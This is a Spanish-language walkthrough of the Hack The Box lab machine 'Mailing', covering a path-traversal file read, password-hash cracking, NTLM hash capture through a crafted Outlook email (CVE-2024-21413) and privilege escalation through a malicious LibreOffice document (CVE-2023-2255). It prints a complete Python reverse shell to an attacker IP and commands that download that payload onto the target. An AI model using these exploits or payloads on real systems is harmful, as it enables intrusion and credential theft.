Descripción

Mailing es una máquina fácil de Hack The Box que cuenta con las siguientes vulnerabilidades:

  • Ataque de cruces de directorios y de inclusión de archivos locales en un servidor web
  • Recuperación de una contraseña de correo electrónico de un usuario utilizando un hash obtenido de un archivo de configuración
  • Vulnerabilidad de ejecución remota de comandos de Microsoft Outlook CVE-2024-21413 para obtener las credenciales de un usuario
  • Escalada de privilege mediante la vulnerabilidad de ejecución de comandos locales de LibreOffice CVE-2023-2255

Reconocimiento

Primero, vamos a comprobar con el comando ping si la máquina está activa y su sistema operativo. La dirección IP de la máquina de destino es 10.129.51.252.

$ ping -c 3 10.129.51.252
PING 10.129.51.252 (10.129.51.252) 56(84) bytes of data.
64 bytes from 10.129.51.252: icmp_seq=1 ttl=127 time=48.9 ms
64 bytes from 10.129.51.252: icmp_seq=2 ttl=127 time=48.3 ms
64 bytes from 10.129.51.252: icmp_seq=3 ttl=127 time=48.5 ms

--- 10.129.51.252 ping statistics ---
3 packets transmitted, 3 received, 0% packet loss, time 2003ms
rtt min/avg/max/mdev = 48.274/48.566/48.908/0.261 ms

La máquina está activa y con el TTL que equivale a 127 (128 menos 1 salto) podemos asegurar que es una máquina de Windows. Ahora vamos a hacer un escaneo de puertos de Nmap TCP SYN para comprobar todos los puertos abiertos.

$ sudo nmap 10.129.51.252 -sS -oN nmap_scan
Starting Nmap 7.94 ( https://nmap.org )
Nmap scan report for 10.129.51.252
Host is up (0.049s latency).
Not shown: 994 filtered tcp ports (no-response)
PORT    STATE SERVICE
25/tcp  open  smtp
80/tcp  open  http
110/tcp open  pop3
445/tcp open  microsoft-ds
465/tcp open  smtps
587/tcp open  submission

Nmap done: 1 IP address (1 host up) scanned in 15.09 seconds

Conseguimos seis puertos, 25, 80, 110, 445, 465 y 587.

Enumeración

Luego hacemos un escaneo más avanzado, con la detección de la versión de los servicios y el uso de scripts.

$ nmap 10.129.51.252 -sV -sC -p25,80,110,445,465,587 -oN nmap_scan_ports 
Starting Nmap 7.94 ( https://nmap.org )
Nmap scan report for 10.129.51.252
Host is up (0.049s latency).

PORT    STATE SERVICE       VERSION
25/tcp  open  smtp          hMailServer smtpd
| smtp-commands: mailing.htb, SIZE 20480000, AUTH LOGIN PLAIN, HELP
|_ 211 DATA HELO EHLO MAIL NOOP QUIT RCPT RSET SAML TURN VRFY
80/tcp  open  http          Microsoft IIS httpd 10.0
|_http-server-header: Microsoft-IIS/10.0
|_http-title: Did not follow redirect to http://mailing.htb
110/tcp open  pop3          hMailServer pop3d
|_pop3-capabilities: USER UIDL TOP
445/tcp open  microsoft-ds?
465/tcp open  ssl/smtp      hMailServer smtpd
|_ssl-date: TLS randomness does not represent time
| ssl-cert: Subject: commonName=mailing.htb/organizationName=Mailing Ltd/stateOrProvinceName=EU\Spain/countryName=EU
| Not valid before: 2024-02-27T18:24:10
|_Not valid after:  2029-10-06T18:24:10
| smtp-commands: mailing.htb, SIZE 20480000, AUTH LOGIN PLAIN, HELP
|_ 211 DATA HELO EHLO MAIL NOOP QUIT RCPT RSET SAML TURN VRFY
587/tcp open  smtp          hMailServer smtpd
|_ssl-date: TLS randomness does not represent time
| ssl-cert: Subject: commonName=mailing.htb/organizationName=Mailing Ltd/stateOrProvinceName=EU\Spain/countryName=EU
| Not valid before: 2024-02-27T18:24:10
|_Not valid after:  2029-10-06T18:24:10
| smtp-commands: mailing.htb, SIZE 20480000, STARTTLS, AUTH LOGIN PLAIN, HELP
|_ 211 DATA HELO EHLO MAIL NOOP QUIT RCPT RSET SAML TURN VRFY
Service Info: Host: mailing.htb; OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
| smb2-time: 
|_  start_date: N/A
| smb2-security-mode: 
|   3:1:1: 
|_    Message signing enabled but not required
|_clock-skew: 3s

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 62.43 seconds

Conseguimos un servicio Hypertext Transfer Protocol (HTTP), servicios de correo electrónico (POP3, SMTP) y un servicio SMB en un servidor de Windows. Nos movemos al servicio HTTP. Observamos que el servicio alberga un sitio web, por lo que lo agregamos a nuestro archivo /etc/hosts.

$ echo "10.129.51.252 mailing.htb" | sudo tee -a /etc/hosts

En la web vemos que es un servidor de correo alimentado por el programa hMailServer y tenemos instrucciones en un archivo PDF para iniciar sesión en el servicio. Utilizando un proxy web vemos que el archivo PDF está siendo descargado usando el método HTTP de solicitud GET /download.php?file= señalando el archivo instructions.pdf. Este punto final puede ser vulnerable a una vulnerabilidad de cruce de directorios que conduce a una vulnerabilidad de inclusión de archivos locales. Vamos a comprobarlo cambiando el nombre del archivo a ..\..\Windows\win.ini (archivo presente en todos los sistemas Windows). Recibimos la respuesta con el contenido del archivo, por lo que es vulnerable.

Explotación

Como ahora tenemos acceso al sistema de archivos de la máquina, vamos a buscar en los archivos de configuración del software hMailServer. El archivo de configuración se encuentra en el directorio ..\..\ Program Files (x86)\hMailServer\Bin\hMailServer.ini. Conseguimos los siguientes contenidos.

[Directories]
ProgramFolder=C:\Program Files (x86)\hMailServer
DatabaseFolder=C:\Program Files (x86)\hMailServer\Database
DataFolder=C:\Program Files (x86)\hMailServer\Data
LogFolder=C:\Program Files (x86)\hMailServer\Logs
TempFolder=C:\Program Files (x86)\hMailServer\Temp
EventFolder=C:\Program Files (x86)\hMailServer\Events
[GUILanguages]
ValidLanguages=english,swedish
[Security]
AdministratorPassword=841bb5acfa6779ae432fd7a4e6600ba7
[Database]
Type=MSSQLCE
Username=
Password=0a9f8ad8bf896b501dde74f08efd7e4c
PasswordEncryption=1
Port=0
Server=
Database=hMailServer
Internal=1

Obtenemos dos hashes: uno para la contraseña de Administrator y otro para la contraseña de la base de datos. El primero está codificado con MD5 por lo que se puede recuperar utilizando John the Ripper, la contraseña es homenetworkingadministrator. El otro hash está cifrado usando Blowfish y es más difícil de romper.

$ john --wordlist=/usr/share/wordlists/rockyou.txt hashes.txt --format=Raw-MD5
Loaded 1 password hashes with no different salts (Raw-MD5 [MD5 256/256 AVX2 8x3])
homenetworkingadministrator (?)

Con la contraseña podemos intentar iniciar sesión en el servidor de correo usando el software Thunderbird con la cuenta administrator@mailing.htb (utilizando las instrucciones proporcionadas). Somos capaces de acceder a la cuenta, pero ningún correo electrónico se encuentra en las carpetas. Usando la herramienta hMailDatabasePasswordDecrypter de GitMirar, encontramos la contraseña de la base de datos, 6FC6F69152AD.

$ git clone https://github.com/GitMirar/hMailDatabasePasswordDecrypter
$ cd hMailDatabasePasswordDecrypter                                      
$ make        
$ ./decrypt 0a9f8ad8bf896b501dde74f08efd7e4c
6FC6F69152AD

Como tenemos la capacidad de enviar correos electrónicos podemos comprobar la vulnerabilidad CVE-2024-21413 que afecta a Microsoft Outlook y permite la ejecución de código remoto. Si enviamos un enlace elaborado recibiremos una conexión en nuestro servidor Responder con las credenciales del usuario que abrió el correo. Primero vamos a iniciar el servidor de Responder.

$ sudo responder -I tun0

En la página web anterior encontramos tres potenciales usuarios para enviar el correo, ruy, maya y gregory. En Thunderbird haremos clic en el botón New Message. Introducimos los destinatarios y el asunto. Luego haremos clic en el icono de la imagen y luego en el botón Link. Después introducimos nuestro enlace al servidor Responder tal como este. Finalmente haremos clic en el botón Send para enviar el correo electrónico a los usuarios. Después de unos segundos recibiremos el hash NTLM para el usuario MAILING\maya.

...
[+] Listening for events...                                                                                                                                 

[SMB] NTLMv2-SSP Client   : 10.129.51.252
[SMB] NTLMv2-SSP Username : MAILING\maya
[SMB] NTLMv2-SSP Hash     : maya::MAILING:ee8545f9a37b399f:4E358BBD03292E3B1F4A4799DC94D1FD:010100000000000000E69DE7789EDA014DF30351BA81E2320000000002000800520034004400470001001E00570049004E002D0056004A00350030005A0050005A004E0054004700350004003400570049004E002D0056004A00350030005A0050005A004E005400470035002E0052003400440047002E004C004F00430041004C000300140052003400440047002E004C004F00430041004C000500140052003400440047002E004C004F00430041004C000700080000E69DE7789EDA010600040002000000080030003000000000000000000000000020000099C196FB360623A9AC7D0B301403E649DA1611EABB914699E4271253EF52CC750A001000000000000000000000000000000000000900200063006900660073002F00310030002E00310030002E00310034002E00310032000000000000000000

Si rompemos el hash con John the Ripper obtenemos la contraseña m4y4ngs4ri para el usuario maya.

$ john --wordlist=/usr/share/wordlists/rockyou.txt hash2.txt                   
Using default input encoding: UTF-8
Loaded 1 password hash (netntlmv2, NTLMv2 C/R [MD4 HMAC-MD5 32/64])
Will run 16 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
m4y4ngs4ri       (maya)     
1g 0:00:00:01 DONE 0.6211g/s 3688Kp/s 3688Kc/s 3688KC/s m61405..m1nn11
Use the "--show --format=netntlmv2" options to display all of the cracked passwords reliably
Session completed.

Después de enumerar los recursos compartidos con la herramienta Enum4Linux, encontramos uno interesante, Important Documents.

$ enum4linux -a -u maya -p m4y4ngs4ri mailing.htb
Starting enum4linux v0.9.1 

Target ........... mailing.htb                                                     RID Range ........ 500-550,1000-1050
Username ......... 'maya'
Password ......... 'm4y4ngs4ri'
Known Usernames .. administrator, guest, krbtgt, domain admins, root, bin, none

...

[+] Attempting to map shares on mailing.htb                                                                                                                 
//mailing.htb/ADMIN$    Mapping: DENIED Listing: N/A Writing: N/A                  //mailing.htb/C$        Mapping: DENIED Listing: N/A Writing: N/A
//mailing.htb/Important Documents       Mapping: OK Listing: OK Writing: N/A

Si lo exploramos encontramos que está vacío.

$ smbclient -U maya --password m4y4ngs4ri '//mailing.htb/Important Documents'
Try "help" to get a list of possible commands.
smb: \> dir
  .                                   D        0  Wed Apr 10 17:32:05 2024
  ..                                  D        0  Wed Apr 10 17:32:05 2024

                8067583 blocks of size 4096. 1023652 blocks available

Podemos usar la herramienta evil-winrm para obtener una terminal en la máquina.

$ evil-winrm -i mailing.htb -u maya -p m4y4ngs4ri
*Evil-WinRM* PS C:\Users\maya\Documents> whoami
mailing\maya

Post-Explotación

Encontramos el usuario localadmin como cuenta disponible.

*Evil-WinRM* PS C:\Users\maya\Documents> net users

User accounts for \\

-------------------------------------------------------------------------------
Administrador            DefaultAccount           Invitado
localadmin               maya                     WDAGUtilityAccount

Encontramos una tarea programada ejecutada como el usuario localadmin. Está ejecutando el script C:\Users\localadmin\Documents\scripts\soffice.ps1.

*Evil-WinRM* PS C:\Users\maya\Documents> schtasks /query /fo LIST /v
...
HostName:                             MAILING
TaskName:                             \Test
Next Run Time:                        N/A
Status:                               Ready
Logon Mode:                           Interactive/Background
Last Result:                          0
Author:                               MAILING\maya
Task To Run:                          C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -ExecutionPolicy Bypass -File C:\Users\localadmin\Documents\scripts\soffice.ps1
Start In:                             N/A
Comment:                              N/A
Scheduled Task State:                 Enabled
Idle Time:                            Disabled
Power Management:                     Stop On Battery Mode
Run As User:                          localadmin
Delete Task If Not Rescheduled:       Disabled
Stop Task If Runs X Hours and X Mins: Disabled
Schedule:                             Scheduling data is not available in this format.
Schedule Type:                        At logon time
Start Time:                           N/A
Start Date:                           N/A
End Date:                             N/A
Days:                                 N/A
Months:                               N/A
Repeat: Every:                        N/A
Repeat: Until: Time:                  N/A
Repeat: Until: Duration:              N/A
Repeat: Stop If Still Running:        N/A
...

La tarea programada puede estar relacionada con un software de “Ofimática”. Encontramos el programa LibreOffice instalado, en su versión 7.4.

*Evil-WinRM* PS C:\Users\maya\Documents> dir "C:\program files\" | findstr Office
d-----          3/4/2024   6:57 PM                LibreOffice
*Evil-WinRM* PS C:\Users\maya\Documents> type "C:\program files\libreoffice\readmes\readme_en-gb.txt" | findstr ReadMe
LibreOffice 7.4 ReadMe

Esta versión es vulnerable a la vulnerabilidad CVE-2023-2255 que permite cargar enlaces externos sin permiso. Tenemos una prueba de concepto creada por elweth-sec en Github. Tenemos acceso al recurso compartido anterior Important Documents en el directorio C:\Important Documents . Vamos a descargar el archivo elaborado .odt allí. Primero generaremos un archivo Python que nos devolverá una terminal inversa como el usuario que ejecute el archivo.

$ cat<<EOF>python_revshell.py
import os,socket,subprocess,threading;
def s2p(s, p):
    while True:
        data = s.recv(1024)
        if len(data) > 0:
            p.stdin.write(data)
            p.stdin.flush()

def p2s(s, p):
    while True:
        s.send(p.stdout.read(1))

s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect(("10.10.14.12",1234))

p=subprocess.Popen(["powershell"], stdout=subprocess.PIPE, stderr=subprocess.STDOUT, stdin=subprocess.PIPE)

s2p_thread = threading.Thread(target=s2p, args=[s, p])
s2p_thread.daemon = True
s2p_thread.start()

p2s_thread = threading.Thread(target=p2s, args=[s, p])
p2s_thread.daemon = True
p2s_thread.start()

try:
    p.wait()
except KeyboardInterrupt:
    s.close()

EOF

Entonces creamos el archivo malicioso .odt con la prueba de concepto y nos movemos al directorio padre.

$ git clone https://github.com/elweth-sec/CVE-2023-2255
$ cd CVE-2023-2255
$ python CVE-2023-2255.py --cmd 'python c:\PHP\python_revshell.py' --output ../important.odt
File ../important.odt has been created !
$ cd ..

Luego iniciamos un servidor web HTTP con Python y abrimos un puerto de escucha.

$ python -m http.server 80
$ nc -nvlp 1234

Volviendo a la máquina, descargamos el archivo malicioso .odt y el script Python que va a ser ejecutado. Tenemos permisos para escribir en el directorio C:\PHP.

*Evil-WinRM* PS C:\Users\maya\Documents> cd "C:\Important Documents"
*Evil-WinRM* PS C:\Important Documents> IWR http://10.10.14.12/python_revshell.py -OutFile c:\PHP\python_revshell.py
*Evil-WinRM* PS C:\Important Documents> IWR http://10.10.14.12/important.odt -OutFile important.odt

Después de unos segundos, localadmin abrirá el documento y conseguiremos una terminal con permisos de Administrator.

$ nc -nvlp 1234
listening on [any] 1234 ...
connect to [10.10.14.12] from (UNKNOWN) [10.129.51.252] 63027
Windows PowerShell
Copyright (C) Microsoft Corporation. All rights reserved.

Try the new cross-platform PowerShell https://aka.ms/pscore6

PS C:\Program Files\LibreOffice\program> whoami
mailing\localadmin
PS C:\Program Files\LibreOffice\program> whoami /priv | findstr Enabled
SeDebugPrivilege           Enabled 
SeChangeNotifyPrivilege    Enabled 
SeImpersonatePrivilege     Enabled 
SeCreateGlobalPrivilege    Enabled

Flags

Con la terminal con el usuario localadminpodemos conseguir la flag de usuario y flag del sistema.

PS C:\Program Files\LibreOffice\program> type C:\Users\maya\Desktop\user.txt
<REDACTED>
PS C:\Program Files\LibreOffice\program> type C:\Users\localadmin\Desktop\root.txt
<REDACTED>